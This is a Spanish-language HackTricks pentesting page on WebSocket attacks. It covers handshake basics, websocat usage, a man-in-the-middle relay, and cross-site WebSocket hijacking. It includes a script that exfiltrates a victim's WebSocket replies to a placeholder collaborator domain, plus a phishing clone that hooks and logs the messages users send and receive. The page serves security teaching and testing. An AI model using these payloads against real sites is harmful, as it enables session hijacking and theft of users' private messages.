13 KiB
Ataques a WebSockets
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
¿Qué son los WebSockets?
Las conexiones WebSocket se inician a través de HTTP y suelen ser de larga duración. Los mensajes se pueden enviar en ambas direcciones en cualquier momento y no tienen una naturaleza transaccional. La conexión normalmente permanecerá abierta e inactiva hasta que el cliente o el servidor estén listos para enviar un mensaje.
Los WebSockets son particularmente útiles en situaciones donde se requieren mensajes de baja latencia o iniciados por el servidor, como feeds en tiempo real de datos financieros.
¿Cómo se establecen las conexiones WebSocket?
(Aquí encontrarás un resumen, pero una guía más detallada sobre cómo se crea una conexión de WebSocket se puede encontrar aquí).
Las conexiones WebSocket se crean normalmente utilizando JavaScript en el lado del cliente, como el siguiente:
var ws = new WebSocket("wss://normal-website.com/chat");
El protocolo wss
establece una conexión WebSocket sobre una conexión TLS encriptada, mientras que el protocolo ws
utiliza una conexión no encriptada.
Para establecer la conexión, el navegador y el servidor realizan un handshake WebSocket a través de HTTP. El navegador emite una solicitud de handshake WebSocket como la siguiente:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Si el servidor acepta la conexión, devuelve una respuesta de apretón de manos de WebSocket como la siguiente:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
En este punto, la conexión de red permanece abierta y se puede utilizar para enviar mensajes de WebSocket en ambas direcciones.
Nota
Varios aspectos de los mensajes de apretón de manos de WebSocket son dignos de mención:
- Los encabezados
Connection
yUpgrade
en la solicitud y respuesta indican que se trata de un apretón de manos de WebSocket. - El encabezado de solicitud
Sec-WebSocket-Version
especifica la versión del protocolo WebSocket que el cliente desea utilizar. Esto suele ser13
. - El encabezado de solicitud
Sec-WebSocket-Key
contiene un valor aleatorio codificado en Base64, que debe generarse aleatoriamente en cada solicitud de apretón de manos. - El encabezado de respuesta
Sec-WebSocket-Accept
contiene un hash del valor enviado en el encabezado de solicitudSec-WebSocket-Key
, concatenado con una cadena específica definida en la especificación del protocolo. Esto se hace para evitar respuestas engañosas resultantes de servidores mal configurados o proxies de caché.
El encabezado Sec-WebSocket-Key
contiene un valor aleatorio para evitar errores de proxies de caché y no se utiliza con fines de autenticación o manejo de sesiones (No es un token CSRF).
Consola de Linux
Puede utilizar websocat
para establecer una conexión en bruto con un websocket.
websocat --insecure wss://10.10.10.10:8000 -v
O para crear un servidor websocat:
websocat -s 0.0.0.0:8000 #Listen in port 8000
Conexiones websocket MitM
Si descubres que los clientes están conectados a un websocket HTTP desde tu red local actual, puedes intentar un Ataque de ARP Spoofing para realizar un ataque MitM entre el cliente y el servidor.
Una vez que el cliente esté intentando conectarse, puedes utilizar:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Enumeración de Websockets
Puedes utilizar la herramienta https://github.com/PalindromeLabs/STEWS para descubrir, identificar y buscar vulnerabilidades conocidas en websockets de forma automática.
Herramientas de depuración de Websockets
- Burp Suite admite la comunicación de websockets en modo MitM de manera muy similar a como lo hace para la comunicación HTTP regular.
- WSSiP: Abreviatura de "WebSocket/Socket.io Proxy", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para capturar, interceptar, enviar mensajes personalizados y ver todas las comunicaciones de WebSocket y Socket.IO entre el cliente y el servidor.
- wsrepl es un REPL interactivo de websockets diseñado específicamente para pruebas de penetración. Proporciona una interfaz para observar mensajes entrantes de websockets y enviar nuevos, con un marco fácil de usar para automatizar esta comunicación.
- https://websocketking.com/ es una web para comunicarse con otras webs utilizando websockets.
- https://hoppscotch.io/realtime/websocket entre otros tipos de comunicaciones/protocolos, proporciona una web para comunicarse con otras webs utilizando websockets.
Laboratorio de Websockets
En Burp-Suite-Extender-Montoya-Course tienes un código para lanzar una web utilizando websockets y en este post puedes encontrar una explicación.
Secuestro de WebSocket entre sitios (CSWSH)
También conocido como secuestro de WebSocket entre orígenes.
Es un Cross-Site Request Forgery (CSRF) en un handshake de WebSocket.
Surge cuando la solicitud de handshake de WebSocket se basa únicamente en cookies HTTP para el manejo de sesiones y no contiene ningún token CSRF u otros valores impredecibles.
Un atacante puede crear una página web maliciosa en su propio dominio que establece una conexión de WebSocket entre sitios con la aplicación vulnerable. La aplicación manejará la conexión en el contexto de la sesión del usuario víctima con la aplicación.
Ataque simple
Ten en cuenta que al establecer una conexión de websocket, la cookie se envía al servidor. El servidor puede estar utilizándola para relacionar a cada usuario específico con su sesión de websocket basada en la cookie enviada.
Entonces, si por ejemplo el servidor de websocket envía de vuelta el historial de la conversación de un usuario si se envía un mensaje con "READY", entonces un simple XSS al establecer la conexión (la cookie se enviará automáticamente para autorizar al usuario víctima) enviando "READY" será capaz de recuperar el historial de la conversación.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie con un subdominio diferente
En esta publicación de blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/, el atacante logró ejecutar código Javascript arbitrario en un subdominio del dominio donde se estaba produciendo la comunicación del websocket. Debido a que era un subdominio, la cookie se estaba enviando, y debido a que el Websocket no verificaba correctamente el origen, era posible comunicarse con él y robar tokens de él.
Robando datos del usuario
Copia la aplicación web que deseas suplantar (los archivos .html, por ejemplo) y dentro del script donde se produce la comunicación del websocket, agrega este código:
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
Ahora descarga el archivo wsHook.js
desde https://github.com/skepticfx/wshook y guárdalo dentro de la carpeta con los archivos web.
Exponiendo la aplicación web y haciendo que un usuario se conecte a ella, podrás robar los mensajes enviados y recibidos a través del websocket:
sudo python3 -m http.server 80
Condiciones de carrera
Las Condiciones de Carrera en WebSockets también son un problema, consulta esta información para aprender más.
Otras vulnerabilidades
Como los WebSockets son un mecanismo para enviar datos al lado del servidor y al lado del cliente, dependiendo de cómo el servidor y el cliente manejen la información, los WebSockets pueden ser utilizados para explotar varias vulnerabilidades como XSS, SQLi o cualquier otra vulnerabilidad web común utilizando la entrada de un usuario desde un websocket.
WebSocket Smuggling
Esta vulnerabilidad podría permitirte burlar las restricciones de los proxies inversos haciéndoles creer que se estableció una comunicación websocket (aunque no sea cierto). Esto podría permitir a un atacante acceder a puntos finales ocultos. Para obtener más información, consulta la siguiente página:
{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}
Referencias
{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres que tu empresa sea anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el merchandising oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.